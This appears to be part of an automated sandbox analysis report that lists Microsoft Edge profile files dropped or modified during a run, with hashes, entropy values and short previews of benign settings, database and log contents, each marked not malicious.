SHA-512:	79AF66BC46EFC79035667511726027939968C74586630396CE1BB3782441B96F48480A7B4013F6D098A688C47E0339F6FE7420A615C9CDBC7FCF3AF44684E17C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374655159305984","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374655159305984","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7853b2ef-800d-4ed7-8199-9e2610bcf4f8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17363), with no line terminators
Category:	dropped
Size (bytes):	17363
Entropy (8bit):	5.478131172217574
Encrypted:	false
SSDEEP:	384:st+PGQSu4vs4+2fhDiX/YdJw8bGCQwp6WTnwaTY6:sUOXusbfnJw8bGxyXwaTY6
MD5:	6E6CAE3C7B3B11CD31BA5E5F63F739C0
SHA1:	63EB9E9EC79729602F2B58EEE2FEB97D7F992287
SHA-256:	6546BD4B9E75869E44DC275AC44492ABC4CCD97AAC81F8D5733E9E801F456B30
SHA-512:	AB634C4EEAAE04E8AD521A85C56CDD77A89AAC1502FEF6D6057C79A87CC81A465012B29BFB444F6FE6E747F24FB8693DE7FF02F18E167034AD0B077E87951490
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374655159895035","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\816e2ff2-8599-47f4-9183-ec8f19f97ece.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13216
Entropy (8bit):	5.274989092435958
Encrypted:	false
SSDEEP:	192:st+J99QTryDigabatSuypvs4+2sZihDFklCFm8gbV+FNcQA66WTnwaFIMYBPjYJ:st+PGKSu4vs4+2fhDAbGCQx6WTnwaTY6
MD5:	901175B49B5B38C257C5F862612B25BE
SHA1:	078B2342B7ACA923536B5707BA1BDEF61D0655FF
SHA-256:	1E2B07FA8FF0C20FBCD7EBC141AD360BEE28F0D29415E582B0B2E8734F38296D
SHA-512:	7AA85563AAED591482909E53CBA9D3EBE8DC3130A0D79D4F75ECB92FFB704F6C7F883A6F8ECCC969AFAEAE8A216488B20B9E80FC7A826DA0C848C1B10B2A8731
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374655159895035","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8a563490-8db0-4f9e-93c2-86f920869ae9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.214173618640874
Encrypted:	false
SSDEEP:	6:cOEQOs1923oH+Tcwtp3hBtB2KLlmO9qtMM+q2P923oH+Tcwtp3hBWsIFUv:fGYebp3dFLn9aN+v4Yebp3eFUv
MD5:	36EE846D0964CD949A6D584688BAD28D
SHA1:	3D4ADBFC0121E3845590548E2F5FC7D24D2D3F3F
SHA-256:	D001C2C15B0804C6BFF780FBEE75C1C890A0F0FDC1DC6C7D43EC8AC4A0CA18AB
SHA-512:	C644870AACEC4514D2D4AE649FE15EDD5E92A957F1DCD0179823C300265EF53C74D9EC8F14E04B25537DD44B118F37E8E5509BFD03AB9DE1F46FB39BAC74E893
Malicious:	false
Preview:	2024/10/29-01:59:25.006 51c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/10/29-01:59:25.065 51c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222869926948324
Encrypted:	false
SSDEEP:	24576:v+/PN8FHfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8pfx2mjF
MD5:	B628D6792B4A10EA246329E08E70D8AF
SHA1:	56FC557A95119BA19F24C31BB28CF8F0BB6DDB8D
SHA-256:	EC4C824E6E0BD9FBD0A9F67814EAEA206ECEA8372C20A929C1CAA06E0E91FE5F
SHA-512:	B89B9C3A24EC21347B345CB3A50CAE0C36EE674207FD420B8F19B276D907A671370E0F63D2D4509066AE48B2AE56398D3B57EBEB2E0BAD1BB2BB857FEBDF7926
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.159047293049446
Encrypted:	false
SSDEEP:	6:cOBL4Q+q2P923oH+Tcwt9Eh1tIFUt8HOBLygZmw+HOBLFQVkwO923oH+Tcwt9Ehx:fBLgv4Yeb9Eh16FUt8uBL3/+uBLO5LYf
MD5:	846415F14CD4B1CD46350B63FC941842
SHA1:	46B64A5E62F278F4BCF9C0C49C682E6C9839AE63
SHA-256:	2D2EBDB21BDEE95AF505EB741F93FA9129F07B9467336E8931AE5F58CD9A033C
SHA-512:	FBDD45EDF37840F009FA521F5FE084774294FAB901900817ACE18F92FE7707C8B8DC978482B4589F9D9A96A78FA864BF15177618E12769AF1B643A74D8933931
Malicious:	false
Preview:	2024/10/29-01:59:24.715 22c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/29-01:59:24.717 22c8 Recovering log #3.2024/10/29-01:59:24.765 22c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.159047293049446
Encrypted:	false
SSDEEP:	6:cOBL4Q+q2P923oH+Tcwt9Eh1tIFUt8HOBLygZmw+HOBLFQVkwO923oH+Tcwt9Ehx:fBLgv4Yeb9Eh16FUt8uBL3/+uBLO5LYf
MD5:	846415F14CD4B1CD46350B63FC941842
SHA1:	46B64A5E62F278F4BCF9C0C49C682E6C9839AE63
SHA-256:	2D2EBDB21BDEE95AF505EB741F93FA9129F07B9467336E8931AE5F58CD9A033C
SHA-512:	FBDD45EDF37840F009FA521F5FE084774294FAB901900817ACE18F92FE7707C8B8DC978482B4589F9D9A96A78FA864BF15177618E12769AF1B643A74D8933931
Malicious:	false
Preview:	2024/10/29-01:59:24.715 22c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/29-01:59:24.717 22c8 Recovering log #3.2024/10/29-01:59:24.765 22c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4630730510981926
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuP:TouQq3qh7z3bY2LNW9WMcUvBuP
MD5:	83F3FA15334150B178A6A0DABEB8E6E7
SHA1:	84B461CF55916936327403EA6FA2B5368A572D03
SHA-256:	06ACCDDBE8229A3EA7F26C31FD77B96C56D621637AD9119C41914007D3BC58AA
SHA-512:	419C98F30652E37A74531CBDDDA90B209C62DDD00B2B0D60A6C425A9A55CE7890B715E8D5AC4756CE9269EACC14F3B4D10542D44B468F7039C68B57A77D49EF8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.1813992468212176
Encrypted:	false
SSDEEP:	6:cOU9FxM+q2P923oH+TcwtnG2tMsIFUt8HOU9FOZmw+HOU9szMVkwO923oH+TcwtB:fiM+v4Yebn9GFUt8uv/+uVzMV5LYebnB
MD5:	7621C54BFDD28BC198C9F87703133427
SHA1:	D9B24C67D4F28312F3DE4B016EA6A3E3D88C26A8
SHA-256:	8C793EAD6F9E9FAE40D901EDEF8E6A1574D3210012E0C60E6CA74C7FCF2128AB
SHA-512:	3EAC9ED950322B0DEF146B3A185A1DAE9E5E3948816D4A96B6DEAE3363520FCCEDCA746C11A013C9073BC49649398B315E3A744E43A8D7C925CFC7D5BC27A814
Malicious:	false
Preview:	2024/10/29-01:59:19.320 28c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/29-01:59:19.320 28c Recovering log #3.2024/10/29-01:59:19.321 28c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.1813992468212176
Encrypted:	false
SSDEEP:	6:cOU9FxM+q2P923oH+TcwtnG2tMsIFUt8HOU9FOZmw+HOU9szMVkwO923oH+TcwtB:fiM+v4Yebn9GFUt8uv/+uVzMV5LYebnB
MD5:	7621C54BFDD28BC198C9F87703133427
SHA1:	D9B24C67D4F28312F3DE4B016EA6A3E3D88C26A8
SHA-256:	8C793EAD6F9E9FAE40D901EDEF8E6A1574D3210012E0C60E6CA74C7FCF2128AB
SHA-512:	3EAC9ED950322B0DEF146B3A185A1DAE9E5E3948816D4A96B6DEAE3363520FCCEDCA746C11A013C9073BC49649398B315E3A744E43A8D7C925CFC7D5BC27A814
Malicious:	false
Preview:	2024/10/29-01:59:19.320 28c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/29-01:59:19.320 28c Recovering log #3.2024/10/29-01:59:19.321 28c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6120338352852858
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+juppC3tmL:TO8D4jJ/6Up+2
MD5:	1567301477BB650C2213A5BA84FC0A8E
SHA1:	98B6AADC307C23F70188875B14F04CD3C3508628
SHA-256:	258B329115F02CCDFACB1C453F78DF5AC8F5938A4C4423E49701531CA23ED37B
SHA-512:	62282665B777E69EF282C3027EDC2AA4ABA624848F37A7C224E0FD8C845556694B9ABFCCF4110E845F1C3D0193B48E13610B0770569FDD5A22C0DF162ECD3673
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354071773609301
Encrypted:	false
SSDEEP:	6144:OA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:OFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	23B463E762EADB6B8554B988218966EE
SHA1:	E7308BA84D47A0F43CBF0D8BA0E9A8031FB6C90F
SHA-256:	F04E491DA4F245D03C7DF0552605D68D311A030501656E5CC4F820A56C2FAD49
SHA-512:	CD70E29801ECE8D633561A487263CEE57E95F7322EEFE6FB651396158E692BC1C621D81617194EBC8323807841B45EB318BE33DCB233381B183DB890996E7DEE
Malicious:	false
Preview:	...m.................DB_VERSION.1E.fbq...............&QUERY_TIMESTAMP:domains_config_gz2...13374655166008553..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.165812838059384
Encrypted:	false
SSDEEP:	6:cOBLss1923oH+Tcwtk2WwnvB2KLlmOBL+69+q2P923oH+Tcwtk2WwnvIFUv:fBLaYebkxwnvFLnBL+Zv4YebkxwnQFUv
MD5:	A0C91E41ED85516CF4EF32155ECED538
SHA1:	A9538F173E43E4AA2BEE0127E788423470673993
SHA-256:	C0EC3D8578A44D5A9579E0AACB037EFE4AD0840FA88C8B188ABF96185638F7F2
SHA-512:	447A75D1B70240090B66BB00FE8A0DB61DFE0B29ADB5AE7363F8174418A8DC4CFCDE0ADEB502DD7D0A10AA9EBA94B59042CCD16D6256236DAF3F9EC1B90CE0B4
Malicious:	false
Preview:	2024/10/29-01:59:24.762 22e8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/29-01:59:24.791 22e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358859
Entropy (8bit):	5.324608042912124
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RV:C1gAg1zfvN
MD5:	2342A6D4ACEF0F4199F4BE65E113D6DB
SHA1:	8F8879DAADE1EEF76582370F7E812BDB58A577B0
SHA-256:	CF2CE458EBB42B5DB6D194ED172F646D862CA6B2D28A7EF423D57696C5ED2E5B
SHA-512:	08E4994F51F4B81D6D50F01B30CD012788D22C13B828C1560EF0B84657E43181A09797737889FB4435FEE3A61F94BB34FBD026260550F63143BB31BA664A9C6F
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
